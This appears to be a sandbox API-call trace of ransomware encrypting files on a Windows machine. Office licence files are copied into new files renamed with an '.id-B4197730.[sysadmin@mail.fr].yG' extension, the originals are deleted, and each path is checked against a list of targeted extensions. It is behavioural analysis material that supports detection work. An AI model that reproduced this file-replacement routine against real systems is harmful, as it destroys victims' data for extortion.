	[0176.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.828] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.828] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0176.829] GetLastError () returned 0x0
	[0176.829] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0176.845] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0176.847] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.847] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.847] SetEndOfFile (hFile=0x39c) returned 1
	[0176.847] CloseHandle (hObject=0x39c) returned 1
	[0176.847] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.847] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.850] CloseHandle (hObject=0x3dc) returned 1
	[0176.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 1
	[0176.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.852] lstrlenW (lpString=".doc") returned 4
	[0176.852] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.852] lstrlenW (lpString=".docx") returned 5
	[0176.852] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.852] lstrlenW (lpString=".pdf") returned 4
	[0176.852] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.852] lstrlenW (lpString=".xls") returned 4
	[0176.852] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.852] lstrlenW (lpString=".xlsx") returned 5
	[0176.852] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.853] lstrlenW (lpString=".ppt") returned 4
	[0176.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.853] lstrlenW (lpString=".zip") returned 4
	[0176.853] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString=".rar") returned 4
	[0176.853] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString=".bz2") returned 4
	[0176.853] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString=".7z") returned 3
	[0176.853] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.853] lstrlenW (lpString=".dbf") returned 4
	[0176.853] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.853] lstrlenW (lpString=".1cd") returned 4
	[0176.853] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms") returned 82
	[0176.853] lstrlenW (lpString=".jpg") returned 4
	[0176.853] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.854] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11235) returned 1
	[0176.854] CloseHandle (hObject=0x3dc) returned 1
	[0176.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0176.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.855] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.855] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0176.857] GetLastError () returned 0x0
	[0176.857] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2be3, lpOverlapped=0x0) returned 1
	[0176.868] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bf0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bf0, lpOverlapped=0x0) returned 1
	[0176.869] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.869] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x130, lpOverlapped=0x0) returned 1
	[0176.869] SetEndOfFile (hFile=0x39c) returned 1
	[0176.870] CloseHandle (hObject=0x39c) returned 1
	[0176.870] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.870] SetEndOfFile (hFile=0x3dc) returned 1
	[0176.874] CloseHandle (hObject=0x3dc) returned 1
	[0176.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.876] lstrlenW (lpString=".doc") returned 4
	[0176.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".docx") returned 5
	[0176.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.876] lstrlenW (lpString=".pdf") returned 4
	[0176.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".xls") returned 4
	[0176.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".xlsx") returned 5
	[0176.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.876] lstrlenW (lpString=".ppt") returned 4
	[0176.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.876] lstrlenW (lpString=".zip") returned 4
	[0176.876] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".rar") returned 4
	[0176.876] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".bz2") returned 4
	[0176.876] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.876] lstrlenW (lpString=".7z") returned 3
	[0176.876] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.876] lstrlenW (lpString=".dbf") returned 4
	[0176.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.877] lstrlenW (lpString=".1cd") returned 4
	[0176.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96
	[0176.877] lstrlenW (lpString=".jpg") returned 4
	[0176.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.877] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=23860) returned 1
	[0176.878] CloseHandle (hObject=0x3dc) returned 1
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0176.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0176.879] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0176.880] GetLastError () returned 0x0
	[0176.880] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x5d34, lpOverlapped=0x0) returned 1
	[0177.219] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x5d40, lpOverlapped=0x0) returned 1
	[0177.221] ReadFile (in: hFile=0x3dc, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.221] WriteFile (in: hFile=0x39c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x132, lpOverlapped=0x0) returned 1
	[0177.221] SetEndOfFile (hFile=0x39c) returned 1
	[0177.221] CloseHandle (hObject=0x39c) returned 1
	[0177.221] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.221] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.225] CloseHandle (hObject=0x3dc) returned 1
	[0177.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0177.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.500] lstrlenW (lpString=".doc") returned 4
	[0177.500] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString=".docx") returned 5
	[0177.500] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.500] lstrlenW (lpString=".pdf") returned 4
	[0177.500] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString=".xls") returned 4
	[0177.500] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString=".xlsx") returned 5
	[0177.500] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.500] lstrlenW (lpString=".ppt") returned 4
	[0177.500] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.500] lstrlenW (lpString=".zip") returned 4
	[0177.500] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString=".rar") returned 4
	[0177.500] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.500] lstrlenW (lpString=".bz2") returned 4
	[0177.501] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.501] lstrlenW (lpString=".7z") returned 3
	[0177.501] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.501] lstrlenW (lpString=".dbf") returned 4
	[0177.501] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.501] lstrlenW (lpString=".1cd") returned 4
	[0177.501] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0177.501] lstrlenW (lpString=".jpg") returned 4
	[0177.501] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.502] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=27735) returned 1
	[0177.502] CloseHandle (hObject=0x42c) returned 1
	[0177.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0177.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0177.503] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.503] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.504] GetLastError () returned 0x0
	[0177.504] ReadFile (in: hFile=0x42c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0177.635] WriteFile (in: hFile=0x54c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0177.637] ReadFile (in: hFile=0x42c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.637] WriteFile (in: hFile=0x54c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.637] SetEndOfFile (hFile=0x54c) returned 1
	[0177.637] CloseHandle (hObject=0x54c) returned 1
	[0177.637] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.637] SetEndOfFile (hFile=0x42c) returned 1
	[0177.641] CloseHandle (hObject=0x42c) returned 1
	[0177.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms")) returned 1
	[0178.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.062] lstrlenW (lpString=".doc") returned 4
	[0178.062] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".docx") returned 5
	[0178.062] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.062] lstrlenW (lpString=".pdf") returned 4
	[0178.062] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".xls") returned 4
	[0178.062] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".xlsx") returned 5
	[0178.062] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.062] lstrlenW (lpString=".ppt") returned 4
	[0178.062] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.062] lstrlenW (lpString=".zip") returned 4
	[0178.062] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".rar") returned 4
	[0178.062] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".bz2") returned 4
	[0178.062] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString=".7z") returned 3
	[0178.062] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.062] lstrlenW (lpString=".dbf") returned 4
	[0178.062] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.063] lstrlenW (lpString=".1cd") returned 4
	[0178.063] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0178.063] lstrlenW (lpString=".jpg") returned 4
	[0178.063] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596cf8 | out: hHeap=0x4f0000) returned 1
	[0178.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ce00 | out: hHeap=0x4f0000) returned 1
	[0178.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38d6e80 | out: hHeap=0x4f0000) returned 1
	[0178.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38e6e88 | out: hHeap=0x4f0000) returned 1
	[0178.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41de020 | out: hHeap=0x4f0000) returned 1
	[0178.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596c80 | out: hHeap=0x4f0000) returned 1
	[0178.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592080
	[0178.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592080, Size=0x20) returned 0x45b06b0
	[0178.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x4592080
	[0178.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4592080, Size=0x20) returned 0x45b0430
	[0178.072] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.072] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.072] Wow64DisableWow64FsRedirection (in: OldValue=0x3cbff50 | out: OldValue=0x3cbff50*=0x1) returned 1
	[0178.072] lstrlenW (lpString="kernel32.dll") returned 12
